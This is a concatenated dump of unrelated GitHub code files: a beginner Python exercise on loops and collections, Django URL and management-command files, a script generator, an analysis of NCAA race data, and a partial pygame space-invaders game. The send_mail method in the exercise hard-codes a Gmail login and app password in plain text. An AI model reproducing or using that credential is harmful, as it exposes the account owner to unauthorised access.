List()\r\nprint(List_var.Reverse_List(l))\r\nprint(List_var.Accesss_234(l))\r\nprint(List_var.Accesss_456(l))\r\nprint(List_var.Extract_List(l))\r\nprint(List_var.Extract_sudh(l))\r\nprint(List_var.Extract_keys(l))\r\nprint(List_var.Extract_values(l))\r\n\r\n\r\n\r\n\r\n\"\"\"Questions on 28.05.2022\r\nq1 :\r\nineruon \r\nineruon ineruon \r\nineruon ineruon ineruon\r\nineruon ineruon ineruon ineruon\r\n\r\nq2 - \r\n\r\n ineruon\r\n ineruon ineruon\r\nineruon\t\tineruon \tineruon\r\n\tineruon\t\t ineruon\r\n\t\t ineruon\r\n\r\nl1 = [[1,2,3,4] , (2,3,4,5,6) , (3,4,5,6,7) , set([23,4,5,45,4,4,5,45,45,4,5]) , {'k1' :\"sudh\" , \"k2\" : \"ineuron\",\"k3\":\r\n \"kumar\" , 3:6 , 7:8} , [\"ineuron\" , \"data science \"]]\r\n\r\nq3 : Try to extract all the list entity \r\nq4 : Try to extract all the dict enteties\r\nq5 : Try to extract all the tuples entities\r\nq6 : Try to extract all the numerical data it may b a part of dict key and values \r\nq7 : Try to give summation of all the numeric data \r\nq8 : Try to filter out all the odd values out all numeric data which is a part of a list \r\nq9 : Try to extract \"ineruon\" out of this data\r\nq10 :Try to find out a number of occurances of all the data \r\nq11 : Try to find out number of keys in dict element\r\nq12 : Try to filter out all the string data \r\nq13 : Try to Find out alphanum in data\r\nq14 : Try to find out multiplication of all numeric value in the individual collection inside dataset \r\nq15 : Try to unwrape all the collection inside collection and create a flat list \"\"\"\r\n\r\n\r\nclass for_loop:\r\n def patren1(self, NR):\r\n \"\"\" This function will create patren like\r\n ineruon\r\n ineruon ineruon\r\n ineruon ineruon ineruon\r\n ineruon ineruon ineruon ineruon\"\"\"\r\n\r\n try:\r\n logging.info(\"Trying to create patren1\")\r\n for i in range(NR + 1):\r\n print(\"iNeuron \" * i, end=\" \\n\")\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def patren2(self, NR, data):\r\n \"\"\" This function will create patren like\r\n ineruon\r\n ineruon ineruon\r\n ineruon\t\tineruon \t ineruon\r\n\t ineruon\t\t ineruon\r\n\t\t ineruon \"\"\"\r\n\r\n\r\n FH = NR\r\n SH = NR-1\r\n A = B = 0\r\n\r\n try:\r\n logging.info(\"Trying to create patren2\")\r\n for i in range(FH):\r\n A = FH-(i+1)\r\n for j in range(A):\r\n print(\" \"*len(data), end = \"\")\r\n for k in range(i+1):\r\n print(data, end = \" \"*len(data))\r\n print(end = \"\\n\")\r\n for l in range(SH):\r\n for m in range(l+1):\r\n print(\" \"*len(data), end = \"\")\r\n B = SH-l\r\n for n in range(B):\r\n print(data, end = \" \"*len(data))\r\n print(end = \"\\n\")\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extract_list(self, data):\r\n \"\"\"This function will try to extract all list data type in a given data\"\"\"\r\n l = []\r\n try:\r\n logging.info(\"Trying to extract list from data\")\r\n for i in data:\r\n if type(i) == list:\r\n l.append(i)\r\n return l\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extract_dict(self, data):\r\n \"\"\"This function will try to extract all dict data type in a given data\"\"\"\r\n try:\r\n logging.info(\"Trying to extract dict items in a given data\")\r\n for i in data:\r\n if type(i)==dict:\r\n print(i)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extract_tuple(self, data):\r\n \"\"\"This function will try to extract all tuple data type in a given data\"\"\"\r\n try:\r\n logging.info(\"Trying to extract tuple elements in a given data\")\r\n for i in data:\r\n if type(i)==tuple:\r\n print(i)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extract_numerics(self, data):\r\n \"\"\"This function will try to extract all numeric data from given input\"\"\"\r\n\r\n l = []\r\n sum = 0\r\n try:\r\n logging.info(\"Trying to extract all numeric values from given input \")\r\n for i in data:\r\n if type(i) == list or type(i) == tuple or type(i) == set:\r\n for j in i:\r\n if type(j)==int:\r\n l.append(j)\r\n if type(i)==dict:\r\n for k , m in i.items():\r\n if type(k)==int:\r\n l.append(k)\r\n if type(m) == int:\r\n l.append(m)\r\n for n in l:\r\n sum = sum+n\r\n print(l)\r\n print(sum)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extract_odd(self, data):\r\n \"\"\" Tis function will try to extract all odd values in given set of dAta\"\"\"\r\n l = []\r\n try:\r\n logging.info(\"Trying to extract all odd values from given input \")\r\n for i in data:\r\n if type(i) == list or type(i) == tuple or type(i) == set:\r\n for j in i:\r\n if type(j) == int:\r\n if j%2!=0:\r\n l.append(j)\r\n if type(i) == dict:\r\n for k, m in i.items():\r\n if type(k) == int:\r\n if k % 2 != 0:\r\n l.append(k)\r\n if type(m) == int:\r\n if m % 2 != 0:\r\n l.append(m)\r\n print(l)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extract_iNeuron(self, data):\r\n \"\"\" Tis function will try to extract iNeuron in given set of data\"\"\"\r\n l = []\r\n try:\r\n logging.info(\"Trying to extract iNeuron from given input \")\r\n for i in data:\r\n if type(i) == list or type(i) == tuple or type(i) == set:\r\n for j in i:\r\n if type(j) == str:\r\n if j==\"ineuron\":\r\n l.append(j)\r\n if type(i) == dict:\r\n for k, m in i.items():\r\n if type(k) == str:\r\n if k ==\"ineuron\":\r\n l.append(k)\r\n if type(m) == str:\r\n if m ==\"ineuron\":\r\n l.append(m)\r\n print(l)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extract_occurence(self, data):\r\n \"\"\"This function will try to extract number of occurrence of each numeric value from given input\"\"\"\r\n\r\n l = []\r\n try:\r\n logging.info(\"Trying to extract number of occurrences of each numeric dat from given input \")\r\n for i in data:\r\n if type(i) == list or type(i) == tuple or type(i) == set:\r\n for j in i:\r\n if type(j)==int:\r\n l.append(j)\r\n if type(i)==dict:\r\n for k , m in i.items():\r\n if type(k)==int:\r\n l.append(k)\r\n if type(m) == int:\r\n l.append(m)\r\n for n in set(l):\r\n print(n, \":\", l.count(n))\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def extrac_number_Keys(self, data):\r\n \"\"\"This function will try to count number of keys from given input\"\"\"\r\n sum=0\r\n try:\r\n logging.info(\"Trying to find out number of keys from given input \")\r\n for i in data:\r\n if type(i)==dict:\r\n for k in i:\r\n sum = sum+1\r\n print(\"Number of keys: \", sum)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n\r\n\r\nl1 = [[1,2,3,4] , (2,3,4,5,6) , (3,4,5,6,7) , set([23,4,5,45,4,4,5,45,45,4,5]) , {'k1' :\"sudh\" , \"k2\" : \"ineuron\",\"k3\":\r\n \"kumar\" , 3:6 , 7:8},{'k1' :\"sudh\" , \"k2\" : \"ineuron\",\"k3\":\r\n \"kumar\" , 3:6 , 7:8} , [\"ineuron\" , \"data science \"]]\r\n\r\nFor_Loop_Var = for_loop()\r\nFor_Loop_Var.patren1(5)\r\nFor_Loop_Var.patren2(4,\"iNeuron\")\r\nprint(For_Loop_Var.extract_list(l1))\r\nFor_Loop_Var.extract_dict(l1)\r\nFor_Loop_Var.extract_tuple(l1)\r\nFor_Loop_Var.extract_numerics(l1)\r\nFor_Loop_Var.extract_odd(l1)\r\nFor_Loop_Var.extract_iNeuron(l1)\r\nFor_Loop_Var.extract_occurence(l1)\r\nFor_Loop_Var.extrac_number_Keys(l1)\r\n\r\n\r\nclass while_loop:\r\n\r\n def patren1(self):\r\n \"\"\" This function will try to print following patern\r\n*\r\n* *\r\n* * *\r\n* * * *\r\n* * * * *\r\n* * * * * *\r\n* * * * * * *\r\n* * * * * * * *\r\n* * * * * * * * *\r\n \"\"\"\r\n try:\r\n logging.info(\"trying to print patren 1\")\r\n i=0\r\n while i <8:\r\n print(\"* \"*(i+1), end = \"\\n\")\r\n i = i+1\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def patren2(self):\r\n \"\"\" This function will try to print following patren\r\nA\r\nB H\r\nC I N\r\nD J o S\r\nE K p T W\r\nF L Q U X z\r\nG M R V Y\r\n \"\"\"\r\n try:\r\n logging.info(\"Trying to print patren 2\")\r\n i = 1\r\n while i<=7:\r\n asc = 65+(i-1)\r\n j = 0\r\n while (j+1)<=i and asc<=90:\r\n ch = chr(asc)\r\n print(ch, end = \" \")\r\n j = j + 1\r\n asc = asc + (7-j)\r\n print(end = \"\\n\")\r\n i = i+1\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def div_40_400(self):\r\n \"\"\"This function will try to print all numbers which are divisbale by 3 b/w 40 - 400\"\"\"\r\n try:\r\n i = 40\r\n logging.info(\"trying to print numbers which are divisible by 3 b/w 40 - 400\")\r\n while i<=400:\r\n if i%3 == 0:\r\n print(i)\r\n i = i+1\r\n except Exception as e:\r\n print(e)\r\n\r\n def extract_vowels(self, data):\r\n \"\"\" This function will try to extract vowels from given string data\"\"\"\r\n try:\r\n logging.info(\"Trying to extract vowels from given string data\")\r\n data1 = data.lower()\r\n l = []\r\n i = 0\r\n vowels = (\"a\",\"e\",\"i\",\"o\",\"u\")\r\n while i<len(data1):\r\n if data1[i] in vowels:\r\n l.append(data1[i])\r\n i = i+1\r\n return l\r\n except Exception as e:\r\n logging.exception(e)\r\n def extract_even(self, data):\r\n \"\"\" This function will try to extract all even numbers in given data \"\"\"\r\n try:\r\n logging.info(\" trying to extract even numbers from given data\")\r\n i = 1\r\n l = []\r\n while i <= data:\r\n if i%2==0:\r\n l.append(i)\r\n i = i+1\r\n return l\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def get_time(self):\r\n \"\"\"This function will try to fetch system time\"\"\"\r\n try:\r\n logging.info(\"try to fetch system time\")\r\n import time\r\n CU_TIME = time.strftime(\"%I:%M:%S:%p\",time.localtime())\r\n print(CU_TIME)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def get_date(self):\r\n \"\"\"This funtion will try to fetch date from your system\"\"\"\r\n try:\r\n logging.info(\"Try to fetch date from system\")\r\n import time\r\n To_Date = time.strftime(\"%d:%m:%Y\", time.localtime())\r\n print(To_Date)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def send_mail(self):\r\n \"\"\" This function will try to send mail to mentioned mailid's\"\"\"\r\n try:\r\n logging.info(\"Trying to send mail to mailid\")\r\n import smtplib\r\n server = smtplib.SMTP(\"smtp.gmail.com\",587)\r\n server.starttls()\r\n server.login('raja.buildmate@gmail.com',\"admrybuipdxzmloi\")\r\n server.sendmail('raja.buildmate@gmail.com','raja.profi@gmail.com','Test email from python')\r\n print(\"mail sent\")\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def alarm(self, Time):\r\n \"\"\" This function will try to blow alarm \"\"\"\r\n try:\r\n logging.info(\"trying blow alarm\")\r\n import time\r\n from playsound import playsound\r\n import os\r\n alarm_time = Time\r\n if time.strftime(\"%H:%M\", time.localtime()) == alarm_time:\r\n logging.info(\"Time matched\")\r\n playsound(r\"C:\\Users\\Thimmapur\\Music\\alarm.mp3\")\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def get_ip(self):\r\n \"\"\" This function will try to get IP address of the PC\"\"\"\r\n try:\r\n logging.info(\"Trying to fetch IP address of the PC\")\r\n import socket\r\n host = socket.gethostname()\r\n ip = socket.gethostbyname(host)\r\n print(ip)\r\n\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def get_insoft(self):\r\n \"\"\" This function will try to fetch all installed softwares\"\"\"\r\n try:\r\n import winapps\r\n for app in winapps.list_installed():\r\n print(app)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def tts(self,data):\r\n \"\"\" This function will try to convert data from text to speech\"\"\"\r\n try:\r\n logging.info(\"Trying to convert text to speech\")\r\n from gtts import gTTS\r\n from playsound import playsound\r\n gts = gTTS(data)\r\n gts.save(r'C:\\Users\\Thimmapur\\Music\\hello.mp3')\r\n playsound(r'C:\\Users\\Thimmapur\\Music\\hello.mp3')\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def open_image(self):\r\n \"\"\" This function will try to open image and show\"\"\"\r\n try:\r\n logging.info(\"trying to open an image\")\r\n from PIL import Image\r\n im = Image.open(r\"C:\\Users\\Thimmapur\\Downloads\\Image2.jpg\")\r\n im.show()\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def file_fol(self):\r\n \"\"\" This fuction will list out all the files in a specified folder\"\"\"\r\n\r\n try:\r\n logging.info(\"trying to list out all the files in a specified path\")\r\n import os\r\n print(os.listdir(\"F:\\\\\"))\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n\r\n def append_pdf(self, path):\r\n \"\"\" This function will try to append two PDF's \"\"\"\r\n try:\r\n logging.info(\"trying merge pdf files\")\r\n from PyPDF2 import PdfFileMerger\r\n merge = PdfFileMerger()\r\n for pdf_file in path:\r\n merge.append(pdf_file)\r\n merge.write(r\"F:\\pdf files\\merged.pdf\")\r\n merge.close()\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n\r\n def sort_word(self, path):\r\n \"\"\" This function will filter only word files \"\"\"\r\n try:\r\n logging.info(\"Try to filter word files from given path\")\r\n import fnmatch\r\n import os\r\n file = fnmatch.filter(os.listdir(path), \"*.docx\")\r\n print(file)\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwhile_var = while_loop()\r\n\r\nwhile_var.patren1()\r\nwhile_var.patren2()\r\nwhile_var.div_40_400()\r\nS = \"Python is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation.[32]\"\r\nprint(while_var.extract_vowels(S))\r\nprint(while_var.extract_even(1000))\r\nwhile_var.get_time()\r\nwhile_var.get_date()\r\n#while_var.send_mail()\r\n#while_var.alarm(\"20:02\")\r\nwhile_var.get_ip()\r\nwhile_var.get_insoft()\r\n#while_var.tts(S)\r\n#while_var.open_image()\r\nwhile_var.file_fol()\r\nwhile_var.append_pdf([r\"F:\\pdf files\\pdf1-pag1.pdf\", r\"F:\\pdf files\\pdf2-pag2.pdf\"])\r\nwhile_var.sort_word(r\"F:\\pdf files\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"RajasekharReddyTV/OOPS-task","sub_path":"String.py","file_name":"String.py","file_ext":"py","file_size_in_byte":25364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"409328303","text":"# file: config_gen/urls.py\n\nfrom django.conf.urls import url\n\nfrom . import views\n\napp_name = 'config_gen'\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^(?P<router_id>[0-9]+)/$', views.router_config, name='router_config'),\n]\n","repo_name":"lkmhaqer/gtools-python","sub_path":"config_gen/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"27415437899","text":"import typer\nfrom cryptoml_core.services.dataset_service import DatasetService\nfrom cryptoml.pipelines import PIPELINE_LIST\nfrom typing import Optional\n\n\ndef main(dataset: str, target: str, splits: Optional[int] = 1, type: Optional[str] = 'sh'):\n dss = DatasetService()\n symbols = dss.get_dataset_symbols(name=dataset)\n\n lines = []\n for symbol in symbols:\n for pipeline in PIPELINE_LIST:\n lines.append(f\"python grid_search_new.py {symbol} {dataset} {target} {pipeline} --feature-selection-method importances_shap\")\n\n destfile = f\"gridsearch_{dataset}_{target}_all\"\n if type == 'cmd':\n with open(destfile + \".cmd\", \"w\") as f:\n f.write(\"\\n\".join([\"@echo off\"] + lines))\n elif type == 'sh':\n with open(destfile + \".sh\", \"w\") as f:\n f.write(\"\\n\".join([\"#!/bin/bash\"] + lines))\n print(f\"Grid search script saved to {destfile}\")\n return destfile\n\n\nif __name__ == '__main__':\n typer.run(main)","repo_name":"RedLicorice/CryptoML-API","sub_path":"app/get_gridsearch_script.py","file_name":"get_gridsearch_script.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6533481830","text":"from django.core.management.base import BaseCommand, CommandError\nfrom django.conf import settings\n\nfrom guidedmodules.models import AppSource, AppVersion\nfrom guidedmodules.app_loading import AppImportUpdateMode, IncompatibleUpdate, load_app_into_database\n\nclass Command(BaseCommand):\n help = 'Updates the system modules from the YAML specifications in AppSources.'\n\n def add_arguments(self, parser):\n parser.add_argument('force', nargs=\"?\", type=bool)\n\n def handle(self, *args, **options):\n with AppSource.objects.get(is_system_source=True).open() as store:\n for app in store.list_apps():\n # Update an existing instance of the app if the changes are compatible\n # with the existing data model.\n oldappinst = AppVersion.objects.filter(source=app.store.source, appname=app.name, system_app=True).first()\n\n # Try to update the existing app.\n try:\n appinst = load_app_into_database(\n app,\n update_appinst=oldappinst,\n update_mode=AppImportUpdateMode.CompatibleUpdate if oldappinst else AppImportUpdateMode.CreateInstance)\n except IncompatibleUpdate as e:\n # App was changed in an incompatible way, so fall back to creating\n # a new AppVersion and mark the old one as no longer the system_app.\n # Only one can be the system_app.\n print(app, e)\n appinst = load_app_into_database(app)\n oldappinst.system_app = None # the correct value here is None, not False, to avoid unique constraint violation\n oldappinst.save()\n\n # Mark the new one as a system_app so that organization and account\n # settings can find it.\n if not appinst.system_app:\n appinst.system_app = True\n appinst.save()\n","repo_name":"GovReady/govready-q","sub_path":"guidedmodules/management/commands/load_modules.py","file_name":"load_modules.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"67"} +{"seq_id":"36040662040","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n#from pandas import date_range\nimport seaborn as sns\nfrom seaborn.regression import lmplot\nfrom sklearn import metrics # calculate MSE and RMSE for linear regression\nimport swifter\nimport statsmodels.api as sm\nimport scipy.stats as stats\nfrom scipy.optimize import curve_fit\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\n\ndf2_m = pd.read_pickle('men_df.pkl')\ndf2_w = pd.read_pickle('women_df.pkl')\n\ndrop_list_w = ['push ratio', 'second place push ratio', 'decimaltime hayward', 'off szn pr if not last szn pr',\n'interaction pr*szn pr', 'interaction pr*avg previous races handicaped', 'interaction pr*szn avg handicaped', 'interaction szn pr*avg previous races handicaped',\\\n 'interaction szn pr*szn avg handicaped', 'interaction szn pr*last race', 'interaction szn avg handicaped*avg previous races handicaped', 'interaction last race*szn avg handicaped',\n 'race_size', 'push', 'second place push', 'sig location', 'sig locations top5avg', 'hayward handicap', 'region', 'state', 'distance', 'interaction pr*last race', 'interaction last race*avg previous races handicaped',\n 'szn_pr <= 17.892', 'szn_pr <= 18.625', 'szn_pr <= 20.758', 'szn_pr <= 19.925']\ndrop_list_m = ['push ratio', 'second place push ratio', 'decimaltime hayward', 'off szn pr if not last szn pr',\n'interaction pr*szn pr', 'interaction pr*avg previous races handicaped', 'interaction pr*szn avg handicaped', 'interaction szn pr*avg previous races handicaped',\\\n 'interaction szn pr*szn avg handicaped', 'interaction szn pr*last race', 'interaction szn avg handicaped*avg previous races handicaped', 'interaction last race*szn avg handicaped',\n 'race_size', 'push', 'second place push', 'sig location', 'sig locations top5avg', 'hayward handicap', 'region', 'state', 'distance',\n 'interaction pr*last race', 'interaction last race*avg previous races handicaped',\n 'szn_pr <= 17.292', 'pr <= 15.225', 'pr <= 14.658', 'pr <= 15.692', 'last_race <= 16.758']\n\n\ndf3_m = df2_m.drop(drop_list_m, axis = 1)\ndf3_w = df2_w.drop(drop_list_w, axis = 1)\n\n\n\n# 20 races, 809 records\ndf_regionals_w = df3_w[df3_w['race_uid'].str.contains(('NCAA Division I East Preliminary Round|NCAA Division I West Preliminary Round|NCAA Division I East Region|NCAA Division I West Region|NCAA East Preliminary Round|NCAA West Preliminary Round'))]\ndf_regionals_w['west dummy'] = df_regionals_w['race_uid'].str.contains('West') == True\ndf_regionals_w['east dummy'] = df_regionals_w['race_uid'].str.contains('East') == True\ndf_regionals_m = df3_m[df3_m['race_uid'].str.contains(('NCAA Division I East Preliminary Round|NCAA Division I West Preliminary Round|NCAA Division I East Region|NCAA Division I West Region|NCAA East Preliminary Round|NCAA West Preliminary Round'))]\ndf_regionals_m['west dummy'] = df_regionals_m['race_uid'].str.contains('West') == True\ndf_regionals_m['east dummy'] = df_regionals_m['race_uid'].str.contains('East') == True\n\ndef region(row):\n if row['west dummy'] == 1:\n return \"West\"\n else:\n return 'East'\n\ndf_regionals_w['region'] = df_regionals_w.swifter.apply(lambda row: region(row), axis=1)\ndf_regionals_m['region'] = df_regionals_m.swifter.apply(lambda row: region(row), axis=1)\n\nprint('hi')\n\ndef national_q(place):\n if place < 13:\n return 1\n else:\n return 0\n \ndf_regionals_w['national_qualifiers'] = df_regionals_w.swifter.apply(lambda row: national_q(row['place']), axis = 1)\ndf_regionals_m['national_qualifiers'] = df_regionals_m.swifter.apply(lambda row: national_q(row['place']), axis = 1)\n\n#nq_list = df_regionals_w[df_regionals_w['national_qualifiers'] == 1].index.tolist()\n#missing 6th place from east for 2012 and 2016 and 10th place from east from 2019\ndf_regionals_w[(df_regionals_w['east dummy'] == True) & (df_regionals_w['year'] == 2019)].sort_values('place')\ndf_regionals_w[(df_regionals_w['east dummy'] == True) & (df_regionals_w['year'] == 2012)].sort_values('place')\n\ndef regional_time(row, df):\n year = row['year']\n name = row['name']\n tempdf = df[(df['year'] == year) & (df['name'] == name)]\n qualifying_time = tempdf['decimaltime'].min()\n return qualifying_time\n\ndf_regionals_w['qualifying time'] = df_regionals_w.swifter.apply(lambda row: regional_time(row, df3_w), axis=1)\ndf_regionals_m['qualifying time'] = df_regionals_m.swifter.apply(lambda row: regional_time(row, df3_m), axis=1)\n\n# concern: 67 women rows have qualifying times > 16:45 so I know this is wrong\n# only 8.33% of the qualifiers so maybe its okay to not deal with\n# 35 men rows have qualifying times > 14:30 so I know this is wrong\n\ndf_ks = df_regionals_w[df_regionals_w['name'].str.contains('karissa')]\n\ndef regional_state(row, df):\n year = row['year']\n name = row['name']\n tempdf = df[(df['year'] == year) & (df['name'] == name)]\n qualifying_time = tempdf['decimaltime'].min()\n qualifying_state = tempdf[tempdf['decimaltime'] == qualifying_time].iloc[0]['state']\n return qualifying_state\n\ndf_regionals_w['qualifying state'] = df_regionals_w.swifter.apply(lambda row: regional_state(row, df2_w), axis=1)\ndf_regionals_m['qualifying state'] = df_regionals_m.swifter.apply(lambda row: regional_state(row, df2_m), axis=1)\n\ndef rq_meet(row, df):\n year = row['year']\n name = row['name']\n tempdf = df[(df['year'] == year) & (df['name'] == name)]\n qualifying_time = tempdf['decimaltime'].min()\n qualifying_meet = tempdf[tempdf['decimaltime'] == qualifying_time].iloc[0]['meet']\n return qualifying_meet\n\ndf_regionals_w['qualifying meet'] = df_regionals_w.swifter.apply(lambda row: rq_meet(row, df2_w), axis=1)\ndf_regionals_m['qualifying meet'] = df_regionals_m.swifter.apply(lambda row: rq_meet(row, df2_m), axis=1)\n\n# stanford\ndf_regionals_w[df_regionals_w['region'] == 'West']['qualifying meet'].mode()\n# stanford\ndf_regionals_m[df_regionals_m['region'] == 'West']['qualifying meet'].mode()\n# stanford\ndf_regionals_w[df_regionals_w['region'] == 'East']['qualifying meet'].mode()\n# stanford\ndf_regionals_m[df_regionals_m['region'] == 'East']['qualifying meet'].mode()\n\n# concat women and men\nframes = [df_regionals_w, df_regionals_m]\ndf_regionals = pd.concat(frames)\n\ndf_regionals.to_excel('12_06_regional_races.xlsx')\ndf_regionals.to_pickle('12_06_regional_races.pkl')\n\ndf_regionals = pd.read_pickle('12_04_regional_races.pkl')\n\n\ndrop_list_w = ['push ratio', 'second place push ratio', 'decimaltime hayward', 'off szn pr if not last szn pr',\n'interaction pr*szn pr', 'interaction pr*avg previous races handicaped', 'interaction pr*szn avg handicaped', 'interaction szn pr*avg previous races handicaped',\\\n 'interaction szn pr*szn avg handicaped', 'interaction szn pr*last race', 'interaction szn avg handicaped*avg previous races handicaped', 'interaction last race*szn avg handicaped',\n 'race_size', 'push', 'region', 'second place push', 'sig location', 'sig locations top5avg', 'hayward handicap', 'distance', 'interaction pr*last race', 'interaction last race*avg previous races handicaped',\n 'szn_pr <= 17.892', 'szn_pr <= 18.625', 'szn_pr <= 20.758', 'szn_pr <= 19.925']\ndrop_list_m = ['push ratio', 'second place push ratio', 'decimaltime hayward', 'off szn pr if not last szn pr',\n'interaction pr*szn pr', 'interaction pr*avg previous races handicaped', 'interaction pr*szn avg handicaped', 'interaction szn pr*avg previous races handicaped',\\\n 'interaction szn pr*szn avg handicaped', 'interaction szn pr*last race', 'interaction szn avg handicaped*avg previous races handicaped', 'interaction last race*szn avg handicaped',\n 'race_size', 'push', 'second place push', 'sig location', 'sig locations top5avg', 'hayward handicap', 'distance',\n 'interaction pr*last race', 'interaction last race*avg previous races handicaped', 'region',\n 'szn_pr <= 17.292', 'pr <= 15.225', 'pr <= 14.658', 'pr <= 15.692', 'last_race <= 16.758']\n\n\ndf4_m = df2_m.drop(drop_list_m, axis = 1)\ndf4_w = df2_w.drop(drop_list_w, axis = 1)\n\nframes = [df4_w, df4_m]\ncombined = pd.concat(frames)\nregion = df_regionals['region']\ndf4_combined = pd.concat([combined, region],axis=1)\n\ndf4_combined.to_excel('12_04_combined_data.xlsx')\ndf4_combined.to_pickle('12_04_combined_data.pkl')\n\n\n\n\n\ndf_regionals_w = df_regionals[df_regionals['gender'] == 'Women']\n# 5 regional qualifiers\ndf_regionals_w[df_regionals_w['school'].str.contains('Baylor')]\n\ndf_w = df4_combined[df4_combined['gender']== 'Women']\ndf_baylor = df_w[df_w['school'] == 'Baylor']\n\ndf_baylor[df_baylor['name'].str.contains('montoya')]\n\n# maggie finished 15th place at regionals her sophomore year but she isnt in my dataset\n# her junior year (2016) she started regionals but dnfed so that race isnt in the results either\ndf_regionals_w[(df_regionals_w['year'] == 2015) & (df_regionals_w['region'] == 'West')]","repo_name":"karisjochen/MS_Capstone_Project","sub_path":"modeling_with_hayward_finding_regionals.py","file_name":"modeling_with_hayward_finding_regionals.py","file_ext":"py","file_size_in_byte":8864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7926616625","text":"import pygame\r\nfrom sys import exit\r\nfrom random import choice\r\n\r\nshape = [\r\n ' xxxxxxx',\r\n ' xxxxxxxxx',\r\n 'xxxxxxxxxxx',\r\n 'xxxxxxxxxxx',\r\n 'xxxxxxxxxxx',\r\n 'xxx xxx',\r\n 'xx xx']\r\n\r\n\r\nclass Player(pygame.sprite.Sprite):\r\n def __init__(self):\r\n super().__init__()\r\n self.image = pygame.image.load(\"images/pngegg.png\").convert_alpha()\r\n self.rect = self.image.get_rect(midbottom=(400, 550))\r\n self.ready = True\r\n self.cooldown = 600\r\n\r\n def move(self):\r\n keys = pygame.key.get_pressed()\r\n if keys[pygame.K_a] and self.rect.x > 0:\r\n self.rect.x -= 8\r\n if keys[pygame.K_d] and self.rect.x < 730:\r\n self.rect.x += 8\r\n if keys[pygame.K_SPACE] and self.ready:\r\n self.shoot_laser()\r\n self.ready = False\r\n self.laser_time = pygame.time.get_ticks()\r\n laser_sound.play()\r\n\r\n def recharge(self):\r\n if not self.ready:\r\n current_time = pygame.time.get_ticks()\r\n if current_time - self.laser_time >= self.cooldown:\r\n self.ready = True\r\n\r\n def shoot_laser(self):\r\n laser_group_player.add(Laser(self.rect.center, \"player\"))\r\n\r\n def update(self):\r\n self.move()\r\n self.recharge()\r\n laser_group_player.update()\r\n laser_group_alien.update()\r\n\r\n\r\nclass Laser(pygame.sprite.Sprite):\r\n def __init__(self, pos, person):\r\n super().__init__()\r\n self.image = pygame.Surface((4, 20))\r\n self.rect = self.image.get_rect(center=pos)\r\n self.image.fill(\"red\")\r\n if person == \"alien\":\r\n self.speed = 8\r\n elif person == \"player\":\r\n self.speed = -8\r\n\r\n def destroy(self):\r\n if self.rect.y <= -50 or self.rect.y >= 650:\r\n self.kill()\r\n\r\n def update(self):\r\n self.rect.y += self.speed\r\n self.destroy()\r\n\r\n\r\nclass Aliens(pygame.sprite.Sprite):\r\n def __init__(self, x, y, file):\r\n super().__init__()\r\n self.laser_time = None\r\n self.image = pygame.image.load(file).convert_alpha()\r\n self.rect = self.image.get_rect(midbottom=(x, y))\r\n self.speed = 1\r\n self.ready = True\r\n self.cooldown = 2000\r\n\r\n def update(self):\r\n self.rect.x += self.speed\r\n self.check()\r\n self.recharge()\r\n self.shoot()\r\n\r\n def check(self):\r\n all_aliens = alien_group.sprites()\r\n for alien in all_aliens:\r\n if alien.rect.right > WIDTH:\r\n self.speed = -1\r\n # self.move_down(1)\r\n if alien.rect.left < 0:\r\n self.speed = 1\r\n # self.move_down(1)\r\n\r\n def shoot(self):\r\n if self.ready:\r\n self.alien_laser()\r\n self.ready = False\r\n self.laser_time = pygame.time.get_ticks()\r\n\r\n def recharge(self):\r\n if not self.ready:\r\n current_time = pygame.time.get_ticks()\r\n if current_time - self.laser_time >= self.cooldown:\r\n self.ready = True\r\n return True\r\n\r\n def move_down(self, distance):\r\n if alien_group:\r\n for alien in alien_group.sprites():\r\n alien.rect.y += distance\r\n\r\n def alien_laser(self):\r\n if alien_group:\r\n random_alien = choice(alien_group.sprites())\r\n laser_group_alien.add(Laser(random_alien.rect.center, \"alien\"))\r\n\r\n\r\nclass Obstacle(pygame.sprite.Sprite):\r\n def __init__(self, x):\r\n super().__init__()\r\n self.image = pygame.image.load(\"images/pngegg (4).png\")\r\n self.rect = self.image.get_rect(midbottom=(x, 500))\r\n\r\n\r\npygame.init()\r\nWIDTH, HEIGHT = 800, 600\r\nscreen = 